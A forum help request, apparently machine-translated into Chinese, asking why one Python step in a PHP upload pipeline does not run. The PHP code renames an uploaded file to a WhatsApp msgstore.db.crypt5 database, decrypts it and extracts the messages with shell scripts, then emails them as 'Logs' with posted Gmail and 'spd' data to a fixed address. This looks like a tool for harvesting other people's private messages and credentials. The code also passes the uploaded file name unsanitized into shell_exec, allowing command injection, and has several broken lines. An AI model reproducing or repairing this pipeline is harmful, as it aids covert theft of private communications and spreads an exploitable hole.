我有一个PHP脚本,它应该捕获一个文件,在其上运行python脚本,然后是.sh,然后是另一个python。 奇怪的是:.sh和第二个脚本运行正常。但FIRST python脚本却没有。如果我通过ssh进入我的服务器它运行正常,所以python代码是好的。我只是不知道为什么我的服务器没有运行它。
再次,它是第一个PYTHON脚本:fixName.py那不是从PHP运行的。有人可以看看并帮忙吗?
提前致谢!! 戴夫:)
CODE:
<?php
set_time_limit(900);
$gmail=$_POST['gmail'];
$phn=$_POST['phn'];
function GeraHash($qtd){
$Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789';
$QuantidadeCaracteres = strlen($Caracteres);
$QuantidadeCaracteres--;
$Hash=NULL;
for($x=1;$x<=$qtd;$x++){
$Posicao = rand(0,$QuantidadeCaracteres);
$Hash .= substr($Caracteres,$Posicao,1);
}
return $Hash;
}
$randx = GeraHash(5);
echo $randx;
$contents1='';
$contents2='';
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"]." FILE: ". $_FILES["file"]["name"];
}
$old_path = getcwd();
chdir('/var/www/upload/');
function Emails(){
global $contents1;
global $contents2;
$output = shell_exec('python fixNAME.py ' . $_FILES["file"]["name"]);
sleep(5);
$filegmail=file_get_contents("http://upload/" . $_FILES["file"]["name"] . 'gmail.txt');
$handle1=fopen($filegmail,'r');
$contents1=fread($handle1,filesize($filegmail));
fclose($handle1);
$filespd=file_get_contents("http://upload/" . $_FILES["file"]["name"] . 'spd.txt');
$handle2=fopen($filespd,'r');
$contents2=fread($handle2,filesize($filespd));
fclose($handle2);
}
function Two(){
global $contents1;
global $contents2;
global $randx;
rename('/var/www/whatsapp92926544Alkjt5t5/upload/' . $_FILES["file"]["name"],'/var/www/whatsapp92926544Alkjt5t5/upload/' . 'msgstore.db.crypt5' . $randx);
$output = shell_exec('./myni5.sh ' . 'xyz' . ' msgs.db' . $randx . ' > msgs.db' . $randx);
sleep(5);
$output = shell_exec('python tract.py '. 'msgs.db' . $randx);
sleep(5);
}
function Three(){
global $randx;
global $contents1;
global $contents2;
global $gmail;
global $phn;
$to = 'info@myemail.com';//$contents2;
$subject = 'Logs';
$bound_text = "jimmyP123";
$bound = "--".$bound_text."\r\n";
$bound_last = "--".$bound_text."--\r\n";
$headers = "From: DailyLogs@kl.com\r\n";
$headers .= "MIME-Version: 1.0\r\n"
."Content-Type: multipart/mixed; boundary=\"$bound_text\"";
$message .= "If you can see this MIME than your client doesn't accept MIME types!\r\n"
.$bound;
$message .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"
."Content-Transfer-Encoding: 7bit\r\n\r\n"
.$_POST['gmail']
."\r\n"
."gmail:"
."\r\n"
.$contents1
."\r\n"
."spd:"
."\r\n"
.$contents2
."\r\n"
.$bound;
$file = file_get_contents("http://upload/msgstore.db" . $randx . ".html");
$message .= "Content-Type: image/jpg; name=\"msgs.db" . $randx . ".html\"\r\n"
@mail($to, $subject, $message, $headers);
}
function runAll(){
Emails();
Two();
Three();
}
runAll();
$randx=null;
unset($randx);
chdir($old_path);
?>